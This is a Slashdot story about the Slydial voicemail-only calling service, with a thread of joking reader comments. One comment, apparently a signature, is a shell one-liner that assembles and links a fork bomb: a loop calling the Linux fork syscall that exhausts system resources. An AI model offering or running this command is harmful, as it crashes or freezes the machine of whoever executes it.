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Call Someone – Without Having To Talk To Them
waderoush writes "After a long beta period, Boston-based MobileSphere launched a 'straight-to-voicemail' service yesterday called Slydial. If you call 267-SLY-DIAL and listen to a short ad, you can then be connected to the voicemail inbox of any US mobile phone subscriber, without causing their phone to ring. Sounds kinda useful — but incredibly, MobileSphere is pitching the service as a way to avoid actually communicating with all those difficult, boring people in your life. In reply to suggestions that Slydial erodes and cheapens genuine human interaction, a MobileSphere exec says the company is just combating technology with technology, by helping people take control of whether and when to talk with their friends, family, and coworkers."
Send email to xyz: "Dood, wanna join the party? It's, like, gonna be awesome!!!"
Send SMS to xyz: "Hey, chk ur email"
Then send the vmail to xyz: "Have your checked your SMS?"
Sure you can hit # to get right ion to voice mail, but you have to be fast otherwise you might have to talk to an actual person and we can't have that now, can we?
It costs me money every time I retrieve it. Just dial my phone, and I'll call back from a landline. You remember landlines, don't you? Or are they all gone now?
What?
Finally! A way to call my mother so that she'll stop bitching about me never calling and at the same time avoiding making it last 50 minutes everytime. A win-win situation!
Yes, I do call my mother sometimes, it's just more convenient than yelling from the bottom of the basement for food.
You just got troll'd!
Cool, now I don't have to talk to the remaining friends that I have.
Supporting World Peace Through Nuclear Pacification
I definitely plan to use this service. That way, I can leave annoying voice messages on the phone of a certain individual who prefers to annoyingly text me instead of confronting me over the phone. Then, I won't have to talk to her -- I can just call and leave another voicemail explaining how she's wrong.
Haha!
-l
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Hey employee! Talk to bob about the implementation issues. And I'm gonna have to ask you to work at the weekend again.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Sure you can hit # to get right ion to voice mail, but you have to be fast otherwise you might have to talk to an actual person and we can't have that now, can we?
If I don't want to talk to someone, I call them and let it ring and let them pick up. Then I just start screaming "I'm gonna cut off your head and shit down your neck!" over and over until they hang up, and then I never have to worry about talking to them again. Sometimes I have to talk to the police, but hey, who ever said you could reach never-talking-to-anyone nirvana without a price?
The enemies of Democracy are
Grrrrr. I'm antisocial. GRRRRRR.
It would be great for those awkward next day calls. "No baby I called you. Check your voicemail! Your phone was probably in a blackout zone."
"Never let your sense of morals prevent you from doing what is right" - Salvor Hardin
And without capitalisation, even emailing you is a disincentive to communication. Well played, sir.
Voice messaging is a lot easier and less dangerous than text messaging
Yeah, last time I sent a text message my thumb cramped up, so I couldn't grab the steering wheel in time to avoid a head-on collision with the lady driving the wrong way on a one-way street because she was blathering away on her phone.
That reminds me of the Dilbert where he's at home in the early hours of the morning and he calls his boss (to make it look like he's working) and says something like "It's 3 am and I'm here in my underwear thinking of you" then he says "Crap" and pushes a button and says "Crap" again. Dogbert asks "Did you just send a dirty voicemail to your boss?" and Dilbert says "No, I think I pressed the group code" :-)
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Yeah. Visual voicemail is great for quick mass deletes. "Hey honey, there are five messages from you. I'm deleting them all, let me know if you said anything important"
I've used this to try to determine who called me if they don't leave a message - the system will play their recorded clip of them reading their name.
Ooo...very nice tip. Thanks for the heads up.
On a side (but related) note, I really hate when someone calls me back when I dial a wrong number. Conversation goes something like this.
Me: [calls wrong number]
Me: Oh crap! [hang up]
My Phone: [ring, ring]
Me: Hello?
Random Person: Who is this?
Me: Ummm...who is this?
RP: You just called my phone a second ago. Who are you?
Me: I did? No...I don't think so. I was looking at pr0n a minute ago. I definitely wasn't calling your phone.
RP: [silence]
Me: [hangs up]
Next thing you know, you'll be able to place convincing thoughts and commands directly into the minds of others...kinda like telling them that these aren't the robots they're looking for... just with a simple wave of your hand.
Now just imagine the powerful marketing value of that!
There's already a "way to avoid actually communicating with all those difficult, boring people in your life": don't talk to them.
Inserting [insert witty signature here] here does not constitute a witty signature.
It's another tool in the handbag of communication and ettiquette.
Ma'am, most of us here are guys. We don't carry handbags. We do, however, carry toolboxes. I don't know any guys that carry handbags, but I do know women who use toolboxes. And I've never yet seen any tool in a lady's handbag, unless you consider lipstick, bubble gum, tampons, kleenexes, dildos, revolvers, condome, and the like "tools".
If at first you don't succeed, use a bigger tool.
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
You're posting to Slashdot. What ex-girlfriend?
Yeah. Call them during the meeting to remind them.
occultae nullus est respectus musicae - originally a Greek proverb
Caller: Hi boss, :cough cough: won't be able to :cough: come in today. :cough, sneeze: 'click'.
No words of wisedom here.